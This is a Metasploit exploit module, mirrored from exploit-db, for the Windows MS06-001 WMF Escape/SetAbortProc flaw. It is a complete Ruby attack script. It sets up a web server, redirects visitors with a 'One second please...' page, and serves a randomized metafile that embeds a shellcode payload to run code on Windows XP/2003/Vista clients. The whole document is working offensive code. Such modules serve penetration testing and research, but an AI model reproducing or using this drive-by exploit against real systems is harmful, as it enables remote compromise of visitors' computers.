Microsoft Windows XP/Vista/2003 – Metafile Escape() SetAbortProc Code Execution (MS06-001) (Metasploit)

  • 作者: Metasploit
    日期: 2010-09-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16612/
  • ##
    # $Id: ms06_001_wmf_setabortproc.rb 10394 2010-09-20 08:06:27Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GreatRanking
    
    	#
    	# This module acts as an HTTP server
    	#
    	include Msf::Exploit::Remote::HttpServer::HTML
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution',
    			'Description'=> %q{
    					This module exploits a vulnerability in the GDI library included with
    				Windows XP and 2003. This vulnerability uses the 'Escape' metafile function
    				to execute arbitrary code through the SetAbortProc procedure. This module
    				generates a random WMF record stream for each request.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'hdm',
    					'san <san@xfocus.org>',
    					'O600KO78RUS@unknown.ru',
    				],
    			'Version'=> '$Revision: 10394 $',
    			'References' =>
    				[
    					['CVE', '2005-4560'],
    					['OSVDB', '21987'],
    					['MSB', 'MS06-001'],
    					['BID', '16074'],
    					['URL', 'http://www.microsoft.com/technet/security/advisory/912840.mspx'],
    					['URL', 'http://wvware.sourceforge.net/caolan/ora-wmf.html'],
    					['URL', 'http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt'],
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'thread',
    				},
    			'Payload'=>
    				{
    					'Space'=> 1000 + (rand(256).to_i * 4),
    					'BadChars' => "\x00",
    					'Compat' =>
    						{
    							'ConnectionType' => '-find',
    						},
    					'StackAdjustment' => -3500,
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[ 'Windows XP/2003/Vista Automatic', { }],
    				],
    			'DisclosureDate' => 'Dec 27 2005',
    			'DefaultTarget'=> 0))
    	end
    
    	def on_request_uri(cli, request)
    
    		ext = 'wmf'
    
    		if (not request.uri.match(/\.wmf$/i))
    			if ("/" == get_resource[-1,1])
    				wmf_uri = get_resource[0, get_resource.length - 1]
    			else
    				wmf_uri = get_resource
    			end
    			wmf_uri << "/" + rand_text_alphanumeric(rand(80)+16) + "." + ext
    
    			html = "<html><meta http-equiv='refresh' content='0; " +
    				"URL=#{wmf_uri}'><body>One second please...</body></html>"
    			send_response_html(cli, html)
    			return
    		end
    
    		# Re-generate the payload
    		return if ((p = regenerate_payload(cli)) == nil)
    
    		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
    
    		# Transmit the compressed response to the client
    		send_response(cli, generate_metafile(p), { 'Content-Type' => 'text/plain' })
    
    		# Handle the payload
    		handler(cli)
    	end
    
    	def generate_metafile(payload)
    
    		# Minimal length values before and after the Escape record
    		pre_mlen = 1440 + rand(8192)
    		suf_mlen = 128+ rand(8192)
    
    		# Track the number of generated records
    		fill = 0
    
    		# The prefix and suffix buffers
    		pre_buff = ''
    		suf_buff = ''
    
    		# Generate the prefix
    		while (pre_buff.length < pre_mlen)
    			pre_buff << generate_record()
    			fill += 1
    		end
    
    		# Generate the suffix
    		while (suf_buff.length < suf_mlen)
    			suf_buff << generate_record()
    			fill += 1
    		end
    
    		clen = 18 + 8 + 6 + payload.encoded.length + pre_buff.length + suf_buff.length
    		data =
    			#
    			# WindowsMetaHeader
    			#
    			[
    				# WORDFileType; /* Type of metafile (1=memory, 2=disk) */
    				rand(2)+1,
    				# WORDHeaderSize; /* Size of header in WORDS (always 9) */
    				9,
    				# WORDVersion;/* Version of Microsoft Windows used */
    				( rand(2).to_i == 1 ? 0x0300 : 0x0100 ),
    				# DWORD FileSize; /* Total size of the metafile in WORDs */
    				clen/2,
    				# WORDNumOfObjects; /* Number of objects in the file */
    				rand(0xffff),
    				# DWORD MaxRecordSize;/* The size of largest record in WORDs */
    				rand(0xffffffff),
    				# WORDNumOfParams;/* Not Used (always 0) */
    				rand(0xffff),
    			].pack('vvvVvVv') +
    			#
    			# Filler data
    			#
    			pre_buff +
    			#
    			# StandardMetaRecord - Escape()
    			#
    			[
    				# DWORD Size;/* Total size of the record in WORDs */
    				4,
    				# WORDFunction;/* Function number (defined in WINDOWS.H) */
    				(rand(256).to_i << 8) + 0x26,
    				# WORDParameters[];/* Parameter values passed to function */
    				9,
    			].pack('Vvv') + payload.encoded +
    			#
    			# Filler data
    			#
    			suf_buff +
    			#
    			# Complete the stream
    			#
    			[3, 0].pack('Vv') +
    			#
    			# Some extra fun padding
    			#
    			rand_text(rand(16384)+1024)
    
    		return data
    
    	end
    
    	def generate_record
    		type = rand(3)
    
    		case type
    			when 0
    				# CreatePenIndirect
    				return [8, 0x02fa].pack('Vv') + rand_text(10)
    			when 1
    				# CreateBrushIndirect
    				return [7, 0x02fc].pack('Vv') + rand_text(8)
    			else
    				# Rectangle
    				return [7, 0x041b].pack('Vv') + rand_text(8)
    		end
    	end
    
    end